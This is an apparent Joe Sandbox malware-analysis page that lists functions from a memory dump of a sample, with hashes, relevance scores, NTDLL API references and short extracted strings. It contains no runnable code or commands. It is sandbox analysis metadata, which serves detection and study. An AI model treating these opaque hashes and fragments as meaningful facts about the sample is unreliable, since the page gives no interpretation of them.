Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: BlanketInformationProxyVolume
String ID: 6s$4$>s$4$@A
API String ID: 3048927609-1599252684
Opcode ID: d0a5c065982782048605ad9b5ee01064fcafb16d184bc21c618dd77846d1030e
Instruction ID: 7ba0bdff80f5b32a0f9b0c248d1904b44be8ea64e871995a4b172c8753727e68
Opcode Fuzzy Hash: d0a5c065982782048605ad9b5ee01064fcafb16d184bc21c618dd77846d1030e
Instruction Fuzzy Hash: 10220E716483408BD310CF25C891B9BBBE6EFC5304F18892EF5959B391DB78D906CB96

Function 004C20A0 Relevance: 8.0, Strings: 6, Instructions: 533
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

45, xrefs: 004C256E
o`, xrefs: 004C26A4
@@, xrefs: 004C223E
EG, xrefs: 004C250E
|~, xrefs: 004C267C
G>A0, xrefs: 004C25E0

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: 45$@@$G>A0$o`$EG$|~
API String ID: 0-2295518177
Opcode ID: 4804024854fe78c1f567953077a2c0ea5e97e41560938df00be3cdb6be8cb039
Instruction ID: d7d7b611e3db0a4e7a12150a3d5f43b8933011d5149e5e2f6fa153f550a601b5
Opcode Fuzzy Hash: 4804024854fe78c1f567953077a2c0ea5e97e41560938df00be3cdb6be8cb039
Instruction Fuzzy Hash: C8F100B56483808FD3148F29D89162FBBE1FF86304F08892DF5D58B391D7B88941CB8A

Function 004C4B40 Relevance: 4.1, Strings: 3, Instructions: 395
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

|>uj, xrefs: 004C4F1B
w, xrefs: 004C4F23
6543, xrefs: 004C4B9C

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: InitializeThunk
String ID: 6543$w$|>uj
API String ID: 2994545307-46225033
Opcode ID: 476ce58c8603b6f6439263794df94848173dd67c4164f104272ae1a68da065f8
Instruction ID: b9b5a1dc4bee72d13e89c17073ae917e94110fc7b3005536fdc6a2dea8561477
Opcode Fuzzy Hash: 476ce58c8603b6f6439263794df94848173dd67c4164f104272ae1a68da065f8
Instruction Fuzzy Hash: 8BB18E79A083404BEB50CE24D961B6BB7A2EFD5314F15853EE8458B392E33CDC06C39A

Function 004AD237 Relevance: 4.1, Strings: 3, Instructions: 349
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

60D30D9B81A8965516B8B84AB2200B96, xrefs: 004AD343, 004AD57E
&3, xrefs: 004AD4AE
~, xrefs: 004AD435

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: &3$60D30D9B81A8965516B8B84AB2200B96$~
API String ID: 0-993011617
Opcode ID: 4e9f24436c285b9136277426f1ec50d1f418fdb2d92d60f11c4352d1c2757af2
Instruction ID: d4ee48f46a87989dbc7319ca9c2d399fb4a98e399aa4860de6aab5b8fafc28b4
Opcode Fuzzy Hash: 4e9f24436c285b9136277426f1ec50d1f418fdb2d92d60f11c4352d1c2757af2
Instruction Fuzzy Hash: D19137716183804BC7259B389862BEF7AE6EFDA318F184A7DD0CAC7643E7385415871B

Function 00659208 Relevance: 3.9, Strings: 3, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

., xrefs: 00659374
Software\Borland\Delphi\Locales, xrefs: 00659274
Software\Borland\Locales, xrefs: 00659238, 00659256

Memory Dump Source

Source File: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: .$Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 0-3917250287
Opcode ID: 8b8d7645c2da01e80b7569254e1bf0d452cc2c98ee9ff6fe54893dd77c4870fb
Instruction ID: 7b503d9971b8c696c37009c452e92fc828104d16bef8837a1f2b75fa84b59863
Opcode Fuzzy Hash: 8b8d7645c2da01e80b7569254e1bf0d452cc2c98ee9ff6fe54893dd77c4870fb
Instruction Fuzzy Hash: 05514471A4065CBAEB61D6A4CC46FEFB6AE9B04741F4040A5BE04E71C2DA749E4CCB74

Function 0054A710 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 52
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateFile.NTDLL(?,?,?,?,?,?,?,?,?,?,?), ref: 0054A768

Strings

/v, xrefs: 0054A768

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: CreateFile
String ID: /v
API String ID: 823142352-2755232556
Opcode ID: cb197867dea72ec01968432a03385c307d9d43a1f04a64ad6e6674214d0a9f69
Instruction ID: 77fb3792b72e8c75cab28f147d5abcb7a9da372ef3427a4fd95de70d9f7fb820
Opcode Fuzzy Hash: cb197867dea72ec01968432a03385c307d9d43a1f04a64ad6e6674214d0a9f69
Instruction Fuzzy Hash: 98014AB6200249BF9B10CE9ADCC5DDBBBBDFB9D654B444015FB1897202C230AD51CBB1

Function 0054A634 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(?), ref: 0054A647

Strings

`+v, xrefs: 0054A647

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: Close
String ID: `+v
API String ID: 3535843008-2805226579
Opcode ID: 4d15e8fbfe2ae988b49f187ea31594429eee4c68d6e0df293194cb26133cf510
Instruction ID: 25ef71c5d14e7c60a5aac5ecd4463bcac250874265fe25ad5ca125b697995bc6
Opcode Fuzzy Hash: 4d15e8fbfe2ae988b49f187ea31594429eee4c68d6e0df293194cb26133cf510
Instruction Fuzzy Hash: 9FB092A8C442402EDF51DBB8DF0C7D52D4F6B8834BF0CD0857002C2070CA244580F665

Function 004DB530 Relevance: 2.6, Strings: 2, Instructions: 138COMMON

Download Yara Rule

Strings

utsr, xrefs: 004DB5FF
@, xrefs: 004DB5E1

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: InitializeThunk
String ID: @$utsr
API String ID: 2994545307-1071351820
Opcode ID: 8de222fe0e04dafab33f8da622378c1e8858ebccfc10adb14494ad01bc6d11f2
Instruction ID: 760c2643ad1c3b49a5842332a7d9d3eabd4079ff9d9e326d8e2ca1952a422a46
Opcode Fuzzy Hash: 8de222fe0e04dafab33f8da622378c1e8858ebccfc10adb14494ad01bc6d11f2
Instruction Fuzzy Hash: D8410570904300DBDB14CF24D8A166BB7E1FFA5328F16862EE4954B3A1E7399909C7CA

Function 004B5A41 Relevance: 1.8, APIs: 1, Instructions: 317COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efd90df9999ad66a91df8b37e512073cdc2b9cea379bf8ba9f3c7b20ecd9d5e2
Instruction ID: e1ecb191b58563c84134ca5ac515a94750d86ed06b4df142f5a42422ff705185
Opcode Fuzzy Hash: efd90df9999ad66a91df8b37e512073cdc2b9cea379bf8ba9f3c7b20ecd9d5e2
Instruction Fuzzy Hash: 9DB1F371A087419FC724DF28C8917ABB7E1BF95304F588A2EE4DA9B391D738D801CB56

Function 0054A6B8 Relevance: 1.5, APIs: 1, Instructions: 44filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(?,?,?,?,?,?,?,?,?), ref: 0054A700

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: b91df00277affe65b9c712b32709ebbbbd999533805d4ad072e70618f3d9ae6f
Instruction ID: 36b778eb902cd048b0106049698036404fe7d1fb7cddedb89c858c87c32f5916
Opcode Fuzzy Hash: b91df00277affe65b9c712b32709ebbbbd999533805d4ad072e70618f3d9ae6f
Instruction Fuzzy Hash: 15F0B2B6100259BF9B10CE9ADDC4DEB7B6CFB8D764B448005FB1997202C270AD50CBB1

Function 0054A650 Relevance: 1.5, APIs: 1, Instructions: 26filenativeCOMMON

Download Yara Rule

APIs

NtSetInformationFile.NTDLL(?,?,?,?,?), ref: 0054A677

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: FileInformation
String ID:
API String ID: 4253254148-0
Opcode ID: 53a7a58ca3bed987bd6151fa4aed7d7941e126fc0d7dc9f37c3f634426e81759
Instruction ID: e8ce318f4f102e77fc4227c769eb251b081807960499911760361d5ffc7c1141
Opcode Fuzzy Hash: 53a7a58ca3bed987bd6151fa4aed7d7941e126fc0d7dc9f37c3f634426e81759
Instruction Fuzzy Hash: 21E0C2B94101147EE711576BDD0CDE77F6DEBCA7B2B09801AB40993110C260AC00C2B0

Function 004D9410 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(004DB37C,005C003F,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 004D943E

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 004A87A0 Relevance: 1.4, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

xf, xrefs: 004A87C4

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: Initialize
String ID: xf
API String ID: 2538663250-2802230031
Opcode ID: e29c833d7e274b78c6cb6d97eefa578b54db7e33f6a3d9b6ce0920b1cae179ca
Instruction ID: d147f86d5525d989739bbdd188d09ccfebcc70b0929103b54a428af27ea0c826
Opcode Fuzzy Hash: e29c833d7e274b78c6cb6d97eefa578b54db7e33f6a3d9b6ce0920b1cae179ca
Instruction Fuzzy Hash: CA41797BB9061417E71CAEBA8C923BAF1C74BD4314F1F803EA849DB391EDAD8C054189

Function 004AE179 Relevance: 1.4, Strings: 1, Instructions: 181COMMON

Download Yara Rule

Strings

6543, xrefs: 004AE189

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: InitializeThunk
String ID: 6543
API String ID: 2994545307-3529428475
Opcode ID: 92aa1409795638c08584ffcd3b1cb0bde6c581f935e11f8bd19bf9131787288d
Instruction ID: b608c5d696970d69364cb701359dd77da6a902877c32e9bb569856d5e2f5c88d
Opcode Fuzzy Hash: 92aa1409795638c08584ffcd3b1cb0bde6c581f935e11f8bd19bf9131787288d
Instruction Fuzzy Hash: B1516B76B052605BC725AB629CA2FAF3354AF66308F44047EE5461B343DB786E02C69F

Function 004ABB9A Relevance: 1.4, Strings: 1, Instructions: 169COMMON

Download Yara Rule

Strings

./, xrefs: 004ABD12

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: ./
API String ID: 0-3775866506
Opcode ID: 72309a0cac968e7c78bf59ae303b13e8558a9312790de7318cff04d0067d11f6
Instruction ID: 49c094ad83dda2732815a2c998b29b5fe9938272669edd583a88c848d99fbdf3
Opcode Fuzzy Hash: 72309a0cac968e7c78bf59ae303b13e8558a9312790de7318cff04d0067d11f6
Instruction Fuzzy Hash: 6641F272B583484FE324CEA5CCC071BF7A2E7D6310F19863CE58197242DA38A8014B4A

Function 004DB770 Relevance: 1.4, Strings: 1, Instructions: 147COMMON

Download Yara Rule

Strings

utsr, xrefs: 004DB823

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: InitializeThunk
String ID: utsr
API String ID: 2994545307-2487514395
Opcode ID: 04dbefecad8d3aec8702df92ffcc573643a73b2b3fa3707c4695dd1c1a135c3b
Instruction ID: 3f6e3dfb8f6dde4e95233dcc16b99275bd7185f003d10d0c1916c4edfedc261a
Opcode Fuzzy Hash: 04dbefecad8d3aec8702df92ffcc573643a73b2b3fa3707c4695dd1c1a135c3b
Instruction Fuzzy Hash: 6B314835744201DBD7185A24CCA1B7B779AEBC5334F2A466FF1818B3A1D338AC428788

Function 005A8CA4 Relevance: 1.4, Strings: 1, Instructions: 128COMMON

Download Yara Rule

Strings

\\.\, xrefs: 005A8D72

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: \\.\
API String ID: 0-2900601889
Opcode ID: 4c2bd73633b936f2f6f58c92e7d2939ff879266f278a24f985758ed8c33ba480
Instruction ID: 0790c90f7eeacbc69a4930d77445d428ebc37bc170362c60d6411dfb83e0a80a
Opcode Fuzzy Hash: 4c2bd73633b936f2f6f58c92e7d2939ff879266f278a24f985758ed8c33ba480
Instruction Fuzzy Hash: E0516170A0021C9BDB25EB25CC81BEDB7B9AF49704F1045E6F608A7291DB749F85CF94

Function 004DC430 Relevance: .3, Instructions: 326COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efd5545c7c4154d993299279856f8d7a43e97bf6982cf5c3af59989ee1a76b1e
Instruction ID: ce15371f515019239fc207b30a7c7664ca5349f92170fa8dfc06429f9b1235cc
Opcode Fuzzy Hash: efd5545c7c4154d993299279856f8d7a43e97bf6982cf5c3af59989ee1a76b1e
Instruction Fuzzy Hash: 4F915871A083129BD714CA28C8E197BB7E2EBD5324F19C56EE991CB391E638DC05C785

Function 004DBB40 Relevance: .3, Instructions: 289COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 298ab971b13b3aa8920861bb77442555d95828903285ea7a45bc99f3580e9424
Instruction ID: 075ace68152cf66d9865eaab42cc85581876f3a14489792749503ed019e83c7a
Opcode Fuzzy Hash: 298ab971b13b3aa8920861bb77442555d95828903285ea7a45bc99f3580e9424
Instruction Fuzzy Hash: BD7124357053419BD7248E28C8A067BB3A3EFD8310F1AC52FE9855B365DB38AC42C795

Function 004D79A0 Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
